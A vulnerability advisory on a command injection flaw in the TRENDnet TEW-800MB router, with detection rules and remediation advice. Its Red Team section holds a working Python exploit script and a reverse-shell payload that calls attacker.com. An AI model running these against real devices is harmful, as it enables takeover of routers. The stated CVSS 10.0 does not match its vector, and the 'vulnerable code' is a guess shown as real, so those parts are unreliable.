CVE-2025-15136

Executive Summary

CVE-2025-15136 is a critical command injection vulnerability in the TRENDnet TEW-800MB router (firmware version 1.0.1.0). The flaw resides in the /goform/wizardset endpoint of the Management Interface, specifically within the do_setWizard_asp function. By manipulating the WizardConfigured argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly disclosed, and no vendor patch exists. This vulnerability poses a severe risk to exposed devices, enabling attackers to pivot into internal networks, exfiltrate data, or deploy persistent malware.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded networking device.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Full access to device data.
• Integrity (I): High – Full control over device configuration.
• Availability (A): High – Potential for denial of service or device bricking.

Threat Level: Critical. Public exploit code exists, and Shodan scanning reveals thousands of exposed devices.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the TRENDnet TEW-800MB web management interface. The /goform/wizardset endpoint processes the WizardConfigured POST parameter without proper sanitization. The do_setWizard_asp function passes this parameter directly to a system shell command, likely via popen() or system().

Root Cause: Lack of input validation and failure to use safe API functions (e.g., execve with argument arrays) when executing OS commands.

Attack Flow:

1. Attacker sends a crafted POST request to http://<target>/goform/wizardset with WizardConfigured containing command injection payloads (e.g., ;id or | ls).
2. The router's web server executes the injected command with root privileges.
3. Attacker gains a reverse shell or executes arbitrary commands.

Example Payload:

POST /goform/wizardset HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

WizardConfigured=1;ping -c 5 attacker.com

Vulnerable vs. Patched Code

Vulnerable Code (do_setWizard_asp function):

void do_setWizard_asp(struct web_request *req) {
    char cmd[256];
    char *wizard = get_param(req, "WizardConfigured");
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/wizard.conf", wizard);
    system(cmd);
}

Patched Code (Hypothetical):

void do_setWizard_asp(struct web_request *req) {
    char cmd[256];
    char *wizard = get_param(req, "WizardConfigured");
    // Sanitize input: allow only alphanumeric and underscore
    if (!is_safe_string(wizard)) {
        log_error("Invalid input");
        return;
    }
    snprintf(cmd, sizeof(cmd), "echo %s >> /tmp/wizard.conf", wizard);
    system(cmd);
}

Key Difference: The patched version validates input against a whitelist of allowed characters before passing it to system(). The vulnerable version trusts user input entirely.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library.
• A TRENDnet TEW-800MB router (or emulated environment using QEMU).
• Network access to the target device.

Exploit Script:

import requests
import sys

target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"

url = f"http://{target}/goform/wizardset"
payload = f"1;{command}"

try:
    r = requests.post(url, data={"WizardConfigured": payload}, timeout=5)
    print(f"[+] Exploit sent. Check output via reverse shell or logs.")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py 192.168.1.1 "id"

Reverse Shell Payload:

python3 exploit.py 192.168.1.1 "bash -i >& /dev/tcp/attacker.com/4444 0>&1"

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /goform/wizardset with suspicious WizardConfigured values (e.g., containing ;, |, &, $).
2. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
3. Review system logs for unexpected command execution (e.g., ping, wget, curl).

Honeypot Configuration:

• Deploy a low-interaction honeypot mimicking the TEW-800MB web interface.
• Log all POST requests to /goform/wizardset for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/wizardset with WizardConfigured containing shell metacharacters.
• Outbound connections from the router to attacker-controlled IPs on ports 4444, 1337, or 8080.
• DNS queries to domains associated with C2 infrastructure.

File IOCs:

• /tmp/wizard.conf containing unexpected commands or IP addresses.
• Modified /etc/passwd or /etc/shadow (if attacker adds backdoor accounts).
• Presence of /tmp/.backdoor or similar hidden files.

Process IOCs:

• Unusual processes like bash, nc, python, or perl running with root privileges.
• Multiple ping or wget processes initiated from the web server.

Detection Engineering

YARA Rule

rule CVE_2025_15136_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting TRENDnet TEW-800MB"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-15136"
    strings:
        $payload1 = "WizardConfigured=" nocase
        $payload2 = ";id" ascii
        $payload3 = "| ls" ascii
        $payload4 = "`id`" ascii
        $payload5 = "$(id)" ascii
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: TRENDnet TEW-800MB Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /goform/wizardset with command injection payloads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/goform/wizardset'
        cs-uri-query|contains: 'WizardConfigured='
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in configuration (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15136 TRENDnet TEW-800MB Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/wizardset"; http_uri; content:"WizardConfigured="; http_client_body; pcre:"/(;|\||`|\$\().*$/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place TEW-800MB routers behind a firewall and restrict management interface access to trusted IPs only.
2. Disable remote management: If not required, disable the web management interface on the WAN side.
3. Monitor for exploitation: Deploy the provided detection rules to identify active attacks.

Long-Term Fix:

• Vendor patch: No patch available. Contact TRENDnet support and demand a firmware update.
• Device replacement: Migrate to a supported router model with active security updates.
• Network segmentation: Place IoT devices on a separate VLAN with strict egress filtering.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests to /goform/wizardset and block those containing shell metacharacters.

Valters IT
Securing Digital Frontiers